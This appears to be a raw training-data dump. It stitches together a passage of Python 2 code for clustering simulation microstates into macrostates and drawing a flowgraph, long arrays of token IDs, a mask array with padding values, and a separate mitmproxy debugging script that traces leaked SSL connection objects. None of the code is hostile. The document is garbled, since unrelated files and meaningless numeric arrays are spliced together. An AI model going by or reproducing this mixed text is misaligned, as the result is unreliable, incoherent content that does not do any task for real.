print "(OUTPUT) ", ("Number of barrier microstates: %d" % len(id_fuzzy))
# Construct new transition count matrix from X
T = eye((numMacro+len(id_fuzzy)), (numMacro+len(id_fuzzy)))
T = T.tolil()
Xdense = X.todense()
# for i in range (0, numMacro):
# row_id = where(ci==(i+1))
# for j in range (i, numMacro):
# # print i, j
# col_id = where(ci==(j+1))
# T[i,j] = X[row_id,col_id].sum()
# #print len(id_fuzzy)
# for j in range (1, len(id_fuzzy)):
# # print i, j
# tmpindx=array([id_fuzzy[j]])
# T[i,j+numMacro] = X[row_id,tmpindx].sum()
for i in range (0, numMacro):
row_id = where(ci==(i+1))[0]
for j in range (i, numMacro):
col_id = where(ci==(j+1))[0]
T[i,j] = Xdense[ix_(row_id,col_id)].sum()
#print len(id_fuzzy)
for j in range (1, len(id_fuzzy)):
tmpindx=array([id_fuzzy[j],id_fuzzy[j]])
T[i,j+numMacro] = Xdense[ix_(row_id,tmpindx)].sum()
T = T + (triu(T,1)).transpose()
T = T.todense()
# print "(OUTPUT) SLOW 1"
T[numMacro:(numMacro+len(id_fuzzy)),numMacro:(numMacro+len(id_fuzzy))] = Xdense[ix_(id_fuzzy,id_fuzzy)]
# print "(OUTPUT) SLOW 2"
d = T.sum(axis=1)
n = d.shape[0]
dd = zeros((n,n))
tmparray=[]
# print "(OUTPUT) SLOW 3"
for j in d:
tmparray.append(1.0/j[0,0])
dd[diag_indices(n)]= tmparray
# print "(OUTPUT) SLOW 4"
# dd = lil_matrix((n,n))
# jj=0
# for j in (d):
# if (j[0,0] > 0):
# dd[jj,jj]=(1.0/j[0,0])
# else:
# dd[jj,jj]= 0 #Is this correct? Why this could happen?
# jj+=1
dd = csc_matrix(dd)
T = csc_matrix(T)
# print "(OUTPUT) SLOW 5"
M = T*dd
# print "(OUTPUT) SLOW 6"
Mp = M.todense()
# print "(OUTPUT) SLOW 7"
# print Mp.sum()
eps = 1e-4 # small for tie-breaker
fass = zeros((numMacro, (numMacro+len(id_fuzzy))))
# print "(OUTPUT) SLOW 8"
for i in range(0, numMacro):
# print "(OUTPUT) SLOW 8a", i
fass[i][i]=1
# print "(OUTPUT) SLOW 9"
fass[:,numMacro:] = Mp[:numMacro,numMacro:]
iterN = 0
fassign=[]
id_domore=[]
CI=[]
CSIZ=[]
Q=[]
fassign.append(copy(fass))
fass_sort = -fass
id_fass_sort = fass_sort.argsort(axis=0)
fass_sort.sort(axis=0)
fass_sort= -fass_sort
id_domore.append((where ((fass_sort[0,:] < eps) | ((fass_sort[0,:]-fass_sort[1,:])<eps)))[0])
print "(OUTPUT) ", ("Number of empty assignments: %d" % len(id_domore[iterN]));
CI.append(copy(ci))
CI[iterN][id_fuzzy] = 1+(id_fass_sort[0,numMacro:])
CSIZ.append(hiscMacro(CI[iterN]))
Q.append(metastability(X,CI[iterN]))
numMacro = ci.max(0)
print "(OUTPUT) ", ("Num of macrostates: %d" % ci.max(0))
print "(OUTPUT) ", ("Metastability (Q) = %.3f (%2.2f%%)" % (Q[iterN], (Q[iterN]/numMacro*100)))
Qmax = Q[iterN]
iter_max = iterN
ci = np.copy(CI[iterN])
csize = np.copy(CSIZ[iterN])
fassigne =[]
while ((id_domore[iterN].size>0) and (iterN < maximumAssignIterations)):
iterN = iterN + 1
print "(OUTPUT) ", ("*Iteration %d" % iterN)
numMacro = ci.max(0)
print "(OUTPUT) ", ("Number of macrostates: %d" % ci.max(0))
Mp = Mp*M
fass[:,id_domore[iterN-1]] = Mp[:numMacro,id_domore[iterN-1]]
fass_sort = -fass
id_fass_sort = fass_sort.argsort(axis=0)
fass_sort.sort(axis=0)
fass_sort= -fass_sort
id_domore.append((where ((fass_sort[0,:] < eps) | ((fass_sort[0,:]-fass_sort[1,:])<eps)))[0])
print "(OUTPUT) ", ("Number of empty assignment: %d" % len(id_domore[iterN]));
# Method I (first-reach diffusion): find the optimal assignment
CI.append(copy(ci))
CI[iterN][id_fuzzy] = 1+(id_fass_sort[0,numMacro:])
CSIZ.append(hiscMacro(CI[iterN]))
Q.append(metastability(X,CI[iterN]))
print "(OUTPUT) ", ("(Q) I (first-reach) = \t%.3f (%2.2f%%)" % (Q[iterN], (Q[iterN]/numMacro*100)));
# print Qmax, Q[iterN]
if (Qmax < Q[iterN]):
Qmax = Q[iterN]
iter_max = iterN
ci = np.copy(CI[iterN])
csize = np.copy(CSIZ[iterN])
# print ci
# Method II (all-iteration diffusion): rearrange the fuzzy assignment by the last iteration of Mp
numMacro = ci.max(0)
print "(OUTPUT) ", ("Number of macrostates: %d" % ci.max(0))
fassign.append(copy(fass)) #Copy the array to avoid creating a pointer (THX Raymond)
fassign[iterN][:,numMacro:] = Mp[:numMacro,numMacro:]
fassign[iterN][:,id_domore[iterN]] = (ones((numMacro,len(id_domore[iterN])))/numMacro);
F_rowsort = -fassign[iterN]
id_rowsort = F_rowsort.argsort(axis=0)
F_rowsort.sort(axis=0)
F_rowsort = -F_rowsort
CI[iterN][id_fuzzy] = id_rowsort[0,numMacro:]
CSIZ[iterN]=hiscMacro(CI[iterN])
Q[iterN] = metastability(X,CI[iterN])
print "(OUTPUT) ", ("(Q) II (all-iteration) = \t%.3f (%2.2f%%)" % (Q[iterN], (Q[iterN]/numMacro*100)));
if (Qmax < Q[iterN]):
Qmax = Q[iterN]
iter_max = iterN
ci = np.copy(CI[iterN])
csize = np.copy(CSIZ[iterN])
# print ci
print "(OUTPUT) ", ("---- Maximal metastability reached at iteration %d: %f (%2.2f%%) ----\n" % (iter_max,Qmax,(Qmax/numMacro*100)))
print "(OUTPUT) ", ("---- Final number of macrostates: %d ----\n" % ci.max(0))
print "(OUTPUT) ", ("Optimum assignments Done...")
return(ci, csize, fassign, T, Qmax, id_fuzzy)
def metastability(X,ci):
#Compute the metastability according to macro-clustering ci
numMacro=max(ci);
idX=[]
for i in range(0,numMacro):
idX.append(where(ci==(i+1))[0])
if (len (idX[i]) == 1):
idX[i] = [idX[i][0],idX[i][0]]
QQ = zeros((numMacro,numMacro))
for i in range(0,numMacro):
for j in range(0,numMacro):
QQ[i,j]=(X[ix_(idX[i],idX[j])].sum())
QQ[j,i]=QQ[i,j]
D = QQ.sum(axis=1)
Q = (diag(diag(1./D)*QQ)).sum()
return(Q)
def hiscMacro(arr): #Wrapper to Emulate matlab's --hisc-- function that counts the number of elements per class in a histogram
hisc=zeros((max(arr)), int)
for i in (arr):
hisc[i-1]+=1
return (hisc)
def writeFlowGraph(cptGradFlow, nodeInfoLevel, nodeInfoLevelSize, nodeInfoSet, nodeInfoFilter, levelIdx, superLevels, outFlowGraphName, pLevels):
print "(OUTPUT) ", ("---- Generating Macrostate flowgraph ---")
# print "(DEBUG) ", scipy.linalg.norm(cptGradFlow - (cptGradFlow.conj().T))
if ( scipy.linalg.norm(cptGradFlow - (cptGradFlow.conj().T))==0 ):
print "(OUTPUT) ", ("error: Input graph is UNDIRECTED! I CANNOT GENERATE THE FLOW GRAPHIC!")
return
numNodes = max(shape(cptGradFlow))
colorParam=[]
sizeParam=[]
for i in range(len(nodeInfoLevel)):
colorParam.append(len(superLevels[1]) - nodeInfoFilter[i] - 1 )
sizeParam.append(100.0*len(nodeInfoSet[i])/nodeInfoLevelSize[i])
# printDebug(sizeParam, "sizeParam")
maxColorParam=max(colorParam)
colorScaleORI = arange(0.0,1.1,0.1)
colorScaleNEW = arange(0.3,.91,0.06)
print colorScaleORI, colorScaleNEW
colorInterpolator = interp1d(colorScaleORI,colorScaleNEW)
for i in range(numNodes):
colorParam[i]= colorInterpolator(float(colorParam[i])/maxColorParam)
# printDebug(colorParam, "colorParam")
sParam = np.copy(sizeParam)
levelColor = []
cm = get_cmap('jet')
for i in range(numNodes):
tmpColor=cm(colorParam[i]) # color will now be an RGBA tuple, THX internet
levelColor.append([int(tmpColor[0]*255),int(tmpColor[1]*255),int(tmpColor[2]*255),int(tmpColor[3]*255)])
for i in range(len(sizeParam)):
sizeParam[i] = 0.1 + sizeParam[i]/max(sizeParam)
outline = 'digraph "G" {\n'
for i in range(numNodes):
outline += ' node%d [label="%d:%2.0f%%", color="#%02x%02x%02x%02x",style=filled, shape=circle, width=%0.2f];\n' % (i, i, sParam[i], levelColor[i][0],levelColor[i][1],levelColor[i][2],levelColor[i][3], sizeParam[i])
# printDebug(cptGradFlow, "cptGradFlow")
for i in range(numNodes):
connNodes = where(cptGradFlow[:,i] > 0)[0]
for j in range(size(connNodes)):
outline += ' node%d -> node%d [label="%d"];\n' % (i, connNodes[0, j],cptGradFlow[connNodes[0,j],i])
levelSizes=[]
for i in range(len(superLevels[1])):
levelSizes.append(len(superLevels[0][i]))
levelSizeInfo = ""
for i in levelSizes:
levelSizeInfo += '%d; ' % i;
l=zeros((len(levelIdx)), int)
for i in range (len(levelIdx)):
l[i] = len(levelIdx[i])
l_end = l.cumsum(axis=0)
tmpNextLevIdxInfo=0
levelIdxInfo=""
for i in range(0,len(l_end)-1):
levelIdxInfo += "%d-%d; " % (tmpNextLevIdxInfo, l_end[i]-1)
tmpNextLevIdxInfo=l_end[i]
levelIdxInfo += "%d-%d; " % (tmpNextLevIdxInfo, l_end[len(l_end)-1])
levelDesity=""
for i in pLevels:
levelDesity += "%2.0f%%; " % (i*100.0)
outline += ' label = " Levels: %d \\l Density Levels: %s \\l Level Sizes: %s \\l Node Index: %s \\l\n' % (len(superLevels[1]), levelDesity, levelSizeInfo, levelIdxInfo)
outline += ' labelloc="b";\nlabeljust="l";\n'
outline += ' center = 1;\n overlap=scale;\n'
outline +='}'
print "(OUTPUT) ", ("Writting Macrostate flowgraph to: %s" % outFlowGraphName)
f = open(outFlowGraphName,'w')
print >>f, outline
f.close()
print "(OUTPUT) ", ("Macrostate flowgraph generated")
return
def printDebug(obj, message):
outline= ("(DEBUG) %s: " % message)
try:
for i in obj:
outline += ", " + str(i)
except TypeError:
outline += " " + str(obj)
print outline.replace("\n", " ")
if __name__ == '__main__':
main()
|
apache-2.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
22529,
14776,
199,
3,
32329,
701,
24747,
14769,
428,
382,
3042,
221,
199,
3,
20409,
315,
314,
3379,
4410,
35,
1233,
687,
1488,
7856,
1488,
23320,
436,
1323,
22451,
1907,
869,
85,
621,
26,
199,
3,
221,
2165,
15648,
780,
402,
314,
10164,
18333,
5515,
9613,
338,
453,
641,
699,
2308,
863,
4655,
12,
4114,
12,
499,
1651,
13,
9803,
12,
334,
6542,
9,
199,
3,
199,
3,
23910,
370,
506,
1202,
315,
314,
10751,
15263,
2199,
199,
3,
3673,
14,
413,
14,
21,
66,
7829,
15,
33,
2700,
15,
8128,
199,
22529,
14776,
199,
646,
8691,
199,
646,
984,
199,
646,
26026,
199,
646,
7026,
14,
2308,
199,
646,
2680,
465,
980,
199,
3,
646,
3164,
1274,
199,
504,
19199,
492,
627,
199,
504,
2680,
492,
627,
199,
504,
7026,
492,
627,
199,
504,
7026,
14,
4421,
492,
627,
199,
504,
7026,
14,
4421,
14,
10096,
492,
627,
199,
504,
7026,
14,
10096,
492,
26547,
199,
504,
7026,
14,
21294,
492,
23716,
17,
68,
199,
504,
7026,
14,
4421,
14,
10096,
14,
19545,
14,
285,
1389,
492,
627,
421,
199,
318,
1015,
837,
199,
870,
7340,
8414,
9,
2018,
4410,
35,
809,
499,
14,
614,
66,
2,
421,
199,
3,
318,
23854,
4894,
837,
199,
199,
318,
2446,
837,
272,
1015,
342,
199,
3,
198,
606,
4894,
342,
272,
299,
275,
8691,
14,
14553,
342,
272,
299,
14,
525,
63,
1422,
4517,
548,
23990,
2353,
6443,
985,
297,
2475,
67,
297,
849,
628,
6453,
929,
2353,
6443,
14,
26029,
531,
272,
299,
14,
525,
63,
1422,
4517,
1550,
2852,
297,
2475,
76,
297,
849,
628,
17,
531,
272,
299,
14,
525,
63,
1422,
4517,
2993,
3567,
297,
2475,
68,
297,
849,
628,
13186,
531,
272,
299,
14,
525,
63,
1422,
4517,
22788,
513,
297,
2475,
84,
297,
849,
27295,
17,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
80,
11402,
1173,
297,
2475,
80,
297,
849,
628,
80,
11402,
14,
609,
67,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
548,
24673,
929,
2822,
4093,
685,
1470,
2956,
297,
2475,
83,
297,
849,
628,
11300,
929,
2956,
14,
1130,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
952,
24673,
9595,
1470,
297,
2475,
87,
297,
849,
628,
16,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
6433,
453,
24673,
929,
2320,
297,
2475,
79,
297,
849,
628,
16,
14,
614,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
11555,
9595,
26292,
297,
2475,
73,
297,
849,
628,
709,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
2168,
34,
1530,
590,
16382,
23990,
83,
297,
2475,
82,
297,
849,
628,
16,
531,
272,
299,
14,
525,
63,
1422,
4517,
952,
5708,
45,
2424,
297,
2475,
88,
297,
849,
628,
16,
531,
272,
299,
14,
525,
63,
1422,
4517,
6282,
1385,
6105,
26211,
297,
2475,
65,
297,
849,
628,
16,
14,
16,
531,
272,
299,
14,
525,
63,
1422,
4517,
1210,
6443,
297,
2475,
77,
297,
849,
18413,
199,
198,
80,
14,
525,
63,
1422,
4517,
548,
5060,
4578,
985,
297,
2475,
70,
297,
849,
628,
11300,
5060,
4578,
14,
3287,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
66,
42,
1220,
4301,
297,
2475,
74,
297,
849,
628,
16,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
6777,
39,
439,
297,
2475,
71,
297,
849,
628,
17,
531,
2742,
199,
198,
1419,
12,
2368,
275,
299,
14,
1122,
63,
589,
342,
199,
198,
548,
23990,
2353,
6443,
985,
275,
334,
1419,
14,
548,
23990,
2353,
6443,
985,
9,
199,
198,
84,
44,
643,
275,
1109,
8,
1419,
14,
1550,
2852,
9,
199,
198,
2993,
3567,
275,
334,
1419,
14,
2993,
3567,
9,
199,
198,
22788,
513,
1725,
275,
334,
1419,
14,
22788,
513,
9,
199,
198,
80,
4670,
83,
8117,
275,
334,
1419,
14,
80,
11402,
1173,
9,
199,
198,
548,
24673,
929,
2822,
4093,
685,
1470,
2956,
275,
334,
1419,
14,
548,
24673,
929,
2822,
4093,
685,
1470,
2956,
9,
199,
198,
6433,
453,
24673,
929,
2320,
275,
2069,
8,
1419,
14,
6433,
453,
24673,
929,
2320,
9,
199,
198,
952,
2054,
83,
1037,
1470,
275,
1109,
8,
1419,
14,
952,
24673,
9595,
1470,
9,
199,
198,
11555,
9595,
26292,
275,
1109,
8,
1419,
14,
11555,
9595,
26292,
9,
199,
198,
1507,
5587,
34,
1530,
590,
16382,
23990,
83,
275,
1109,
8,
1419,
14,
2168,
34,
1530,
590,
16382,
23990,
83,
9,
199,
198,
952,
5708,
45,
2424,
275,
1109,
8,
1419,
14,
952,
5708,
45,
2424,
9,
199,
198,
6282,
1385,
6105,
26211,
275,
2069,
8,
1419,
14,
6282,
1385,
6105,
26211,
9,
199,
198,
1210,
6443,
275,
334,
1419,
14,
1210,
6443,
9,
199,
198,
548,
5060,
4578,
985,
275,
334,
1419,
14,
548,
5060,
4578,
985,
9,
199,
198,
66,
42,
1220,
4301,
275,
1109,
8,
1419,
14,
66,
42,
1220,
4301,
9,
199,
198,
16143,
39,
439,
275,
1109,
8,
1419,
14,
6777,
39,
439,
9,
421,
198,
3,
692,
334,
552,
8,
1210,
6443,
9,
508,
378,
3461,
199,
198,
3,
263,
3379,
23990,
83,
2353,
45,
29,
664,
23990,
14612,
6150,
2532,
2822,
4093,
685,
1470,
8,
84,
44,
643,
12,
4854,
3567,
12,
1468,
74,
513,
1725,
12,
330,
42,
1220,
4301,
9,
199,
198,
3,
2836,
26,
199,
198,
3,
198,
1361,
7340,
8414,
9,
3872,
1689,
20568,
666,
687,
28526,
570,
26,
18321,
83,
4451,
3872,
1324,
6443,
9,
199,
198,
3,
198,
692,
334,
26026,
14,
362,
604,
8,
1210,
6443,
12,
413,
680,
1913,
342,
508,
2071,
5,
6443,
21667,
3634,
10021,
3000,
8605,
2349,
199,
198,
3,
198,
198,
1361,
7340,
8414,
9,
3872,
1689,
872,
4530,
28668,
301,
3634,
315,
314,
8449,
7173,
386,
1475,
531,
199,
198,
3,
198,
198,
5043,
23990,
83,
2353,
45,
275,
7026,
14,
2308,
14,
596,
739,
8,
1210,
6443,
9,
199,
198,
3,
198,
2836,
26,
272,
327,
263,
198,
198,
1361,
7340,
8414,
9,
3872,
1689,
872,
4530,
3634,
315,
3066,
9444,
1475,
531,
272,
327,
260,
198,
198,
5043,
23990,
83,
2353,
45,
275,
3805,
30439,
8,
1210,
6443,
9,
272,
327,
263,
198,
198
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
22529,
14776,
199,
3,
32329,
701,
24747,
14769,
428,
382,
3042,
221,
199,
3,
20409,
315,
314,
3379,
4410,
35,
1233,
687,
1488,
7856,
1488,
23320,
436,
1323,
22451,
1907,
869,
85,
621,
26,
199,
3,
221,
2165,
15648,
780,
402,
314,
10164,
18333,
5515,
9613,
338,
453,
641,
699,
2308,
863,
4655,
12,
4114,
12,
499,
1651,
13,
9803,
12,
334,
6542,
9,
199,
3,
199,
3,
23910,
370,
506,
1202,
315,
314,
10751,
15263,
2199,
199,
3,
3673,
14,
413,
14,
21,
66,
7829,
15,
33,
2700,
15,
8128,
199,
22529,
14776,
199,
646,
8691,
199,
646,
984,
199,
646,
26026,
199,
646,
7026,
14,
2308,
199,
646,
2680,
465,
980,
199,
3,
646,
3164,
1274,
199,
504,
19199,
492,
627,
199,
504,
2680,
492,
627,
199,
504,
7026,
492,
627,
199,
504,
7026,
14,
4421,
492,
627,
199,
504,
7026,
14,
4421,
14,
10096,
492,
627,
199,
504,
7026,
14,
10096,
492,
26547,
199,
504,
7026,
14,
21294,
492,
23716,
17,
68,
199,
504,
7026,
14,
4421,
14,
10096,
14,
19545,
14,
285,
1389,
492,
627,
421,
199,
318,
1015,
837,
199,
870,
7340,
8414,
9,
2018,
4410,
35,
809,
499,
14,
614,
66,
2,
421,
199,
3,
318,
23854,
4894,
837,
199,
199,
318,
2446,
837,
272,
1015,
342,
199,
3,
198,
606,
4894,
342,
272,
299,
275,
8691,
14,
14553,
342,
272,
299,
14,
525,
63,
1422,
4517,
548,
23990,
2353,
6443,
985,
297,
2475,
67,
297,
849,
628,
6453,
929,
2353,
6443,
14,
26029,
531,
272,
299,
14,
525,
63,
1422,
4517,
1550,
2852,
297,
2475,
76,
297,
849,
628,
17,
531,
272,
299,
14,
525,
63,
1422,
4517,
2993,
3567,
297,
2475,
68,
297,
849,
628,
13186,
531,
272,
299,
14,
525,
63,
1422,
4517,
22788,
513,
297,
2475,
84,
297,
849,
27295,
17,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
80,
11402,
1173,
297,
2475,
80,
297,
849,
628,
80,
11402,
14,
609,
67,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
548,
24673,
929,
2822,
4093,
685,
1470,
2956,
297,
2475,
83,
297,
849,
628,
11300,
929,
2956,
14,
1130,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
952,
24673,
9595,
1470,
297,
2475,
87,
297,
849,
628,
16,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
6433,
453,
24673,
929,
2320,
297,
2475,
79,
297,
849,
628,
16,
14,
614,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
11555,
9595,
26292,
297,
2475,
73,
297,
849,
628,
709,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
2168,
34,
1530,
590,
16382,
23990,
83,
297,
2475,
82,
297,
849,
628,
16,
531,
272,
299,
14,
525,
63,
1422,
4517,
952,
5708,
45,
2424,
297,
2475,
88,
297,
849,
628,
16,
531,
272,
299,
14,
525,
63,
1422,
4517,
6282,
1385,
6105,
26211,
297,
2475,
65,
297,
849,
628,
16,
14,
16,
531,
272,
299,
14,
525,
63,
1422,
4517,
1210,
6443,
297,
2475,
77,
297,
849,
18413,
199,
198,
80,
14,
525,
63,
1422,
4517,
548,
5060,
4578,
985,
297,
2475,
70,
297,
849,
628,
11300,
5060,
4578,
14,
3287,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
66,
42,
1220,
4301,
297,
2475,
74,
297,
849,
628,
16,
531,
199,
198,
80,
14,
525,
63,
1422,
4517,
6777,
39,
439,
297,
2475,
71,
297,
849,
628,
17,
531,
2742,
199,
198,
1419,
12,
2368,
275,
299,
14,
1122,
63,
589,
342,
199,
198,
548,
23990,
2353,
6443,
985,
275,
334,
1419,
14,
548,
23990,
2353,
6443,
985,
9,
199,
198,
84,
44,
643,
275,
1109,
8,
1419,
14,
1550,
2852,
9,
199,
198,
2993,
3567,
275,
334,
1419,
14,
2993,
3567,
9,
199,
198,
22788,
513,
1725,
275,
334,
1419,
14,
22788,
513,
9,
199,
198,
80,
4670,
83,
8117,
275,
334,
1419,
14,
80,
11402,
1173,
9,
199,
198,
548,
24673,
929,
2822,
4093,
685,
1470,
2956,
275,
334,
1419,
14,
548,
24673,
929,
2822,
4093,
685,
1470,
2956,
9,
199,
198,
6433,
453,
24673,
929,
2320,
275,
2069,
8,
1419,
14,
6433,
453,
24673,
929,
2320,
9,
199,
198,
952,
2054,
83,
1037,
1470,
275,
1109,
8,
1419,
14,
952,
24673,
9595,
1470,
9,
199,
198,
11555,
9595,
26292,
275,
1109,
8,
1419,
14,
11555,
9595,
26292,
9,
199,
198,
1507,
5587,
34,
1530,
590,
16382,
23990,
83,
275,
1109,
8,
1419,
14,
2168,
34,
1530,
590,
16382,
23990,
83,
9,
199,
198,
952,
5708,
45,
2424,
275,
1109,
8,
1419,
14,
952,
5708,
45,
2424,
9,
199,
198,
6282,
1385,
6105,
26211,
275,
2069,
8,
1419,
14,
6282,
1385,
6105,
26211,
9,
199,
198,
1210,
6443,
275,
334,
1419,
14,
1210,
6443,
9,
199,
198,
548,
5060,
4578,
985,
275,
334,
1419,
14,
548,
5060,
4578,
985,
9,
199,
198,
66,
42,
1220,
4301,
275,
1109,
8,
1419,
14,
66,
42,
1220,
4301,
9,
199,
198,
16143,
39,
439,
275,
1109,
8,
1419,
14,
6777,
39,
439,
9,
421,
198,
3,
692,
334,
552,
8,
1210,
6443,
9,
508,
378,
3461,
199,
198,
3,
263,
3379,
23990,
83,
2353,
45,
29,
664,
23990,
14612,
6150,
2532,
2822,
4093,
685,
1470,
8,
84,
44,
643,
12,
4854,
3567,
12,
1468,
74,
513,
1725,
12,
330,
42,
1220,
4301,
9,
199,
198,
3,
2836,
26,
199,
198,
3,
198,
1361,
7340,
8414,
9,
3872,
1689,
20568,
666,
687,
28526,
570,
26,
18321,
83,
4451,
3872,
1324,
6443,
9,
199,
198,
3,
198,
692,
334,
26026,
14,
362,
604,
8,
1210,
6443,
12,
413,
680,
1913,
342,
508,
2071,
5,
6443,
21667,
3634,
10021,
3000,
8605,
2349,
199,
198,
3,
198,
198,
1361,
7340,
8414,
9,
3872,
1689,
872,
4530,
28668,
301,
3634,
315,
314,
8449,
7173,
386,
1475,
531,
199,
198,
3,
198,
198,
5043,
23990,
83,
2353,
45,
275,
7026,
14,
2308,
14,
596,
739,
8,
1210,
6443,
9,
199,
198,
3,
198,
2836,
26,
272,
327,
263,
198,
198,
1361,
7340,
8414,
9,
3872,
1689,
872,
4530,
3634,
315,
3066,
9444,
1475,
531,
272,
327,
260,
198,
198,
5043,
23990,
83,
2353,
45,
275,
3805,
30439,
8,
1210,
6443,
9,
272,
327,
263,
198,
198,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Endika/mitmproxy
|
test/tools/memoryleak.py
|
4
|
1152
|
import gc
import threading
from pympler import muppy, refbrowser
from OpenSSL import SSL
# import os
#os.environ["TK_LIBRARY"] = r"C:\Python27\tcl\tcl8.5"
#os.environ["TCL_LIBRARY"] = r"C:\Python27\tcl\tcl8.5"
# Also noteworthy: guppy, objgraph
step = 0
__memory_locals__ = True
def str_fun(obj):
if isinstance(obj, dict):
if "__memory_locals__" in obj:
return "(-locals-)"
if "self" in obj and isinstance(obj["self"], refbrowser.InteractiveBrowser):
return "(-browser-)"
return str(id(obj)) + ": " + str(obj)[:100].replace("\r\n", "\\r\\n").replace("\n", "\\n")
def request(ctx, flow):
global step, ssl
print("==========")
print("GC: {}".format(gc.collect()))
print("Threads: {}".format(threading.active_count()))
step += 1
if step == 1:
all_objects = muppy.get_objects()
ssl = muppy.filter(all_objects, SSL.Connection)[0]
if step == 2:
ib = refbrowser.InteractiveBrowser(ssl, 2, str_fun, repeat=False)
del ssl # do this to unpollute view
ib.main(True)
# print("\r\n".join(str(x)[:100] for x in gc.get_referrers(ssl)))
|
mit
|
[
646,
9486,
199,
646,
5796,
199,
504,
1134,
575,
82,
492,
333,
384,
647,
12,
2984,
5750,
199,
504,
14296,
492,
7799,
199,
3,
492,
747,
199,
3,
736,
14,
2314,
905,
15263,
63,
16983,
937,
275,
519,
2,
35,
3427,
4718,
1465,
60,
23644,
60,
23644,
24,
14,
21,
2,
199,
3,
736,
14,
2314,
905,
52,
1981,
63,
16983,
937,
275,
519,
2,
35,
3427,
4718,
1465,
60,
23644,
60,
23644,
24,
14,
21,
2,
199,
199,
3,
6121,
5317,
584,
273,
89,
26,
486,
384,
647,
12,
1559,
2180,
199,
199,
2926,
275,
378,
199,
363,
4844,
63,
9350,
363,
275,
715,
421,
199,
318,
620,
63,
7036,
8,
1113,
304,
272,
340,
1228,
8,
1113,
12,
1211,
304,
267,
340,
4396,
4844,
63,
9350,
16526,
315,
1559,
26,
288,
372,
298,
2801,
9350,
13,
2924,
267,
340,
298,
277,
2,
315,
1559,
436,
1228,
8,
1113,
905,
277,
2255,
2984,
5750,
14,
23879,
11930,
304,
288,
372,
298,
2801,
5750,
13,
2924,
272,
372,
620,
8,
344,
8,
1113,
430,
435,
7244,
298,
435,
620,
8,
1113,
18562,
1960,
1055,
1814,
4582,
82,
60,
78,
401,
9926,
82,
1103,
78,
3471,
1814,
4582,
78,
401,
9926,
78,
531,
421,
199,
318,
1056,
8,
3799,
12,
6369,
304,
272,
2288,
3650,
12,
6149,
272,
870,
480,
17575,
531,
272,
870,
480,
7484,
26,
8352,
908,
8,
9493,
14,
7112,
4059,
272,
870,
480,
22785,
26,
8352,
908,
8,
12562,
14,
2682,
63,
835,
4059,
339,
3650,
847,
413,
272,
340,
3650,
508,
413,
26,
267,
1006,
63,
1462,
275,
333,
384,
647,
14,
362,
63,
1462,
342,
267,
6149,
275,
333,
384,
647,
14,
1541,
8,
452,
63,
1462,
12,
7799,
14,
3225,
2788,
16,
61,
272,
340,
3650,
508,
499,
26,
267,
26242,
275,
2984,
5750,
14,
23879,
11930,
8,
4266,
12,
499,
12,
620,
63,
7036,
12,
11982,
29,
797,
9,
267,
2150,
6149,
221,
327,
886,
642,
370,
625,
6843,
938,
2455,
267,
26242,
14,
973,
8,
549,
9,
267,
327,
870,
4582,
82,
60,
78,
1674,
904,
8,
495,
8,
88,
18562,
1960,
61,
367,
671,
315,
9486,
14,
362,
63,
21928,
21105,
8,
4266,
1724,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
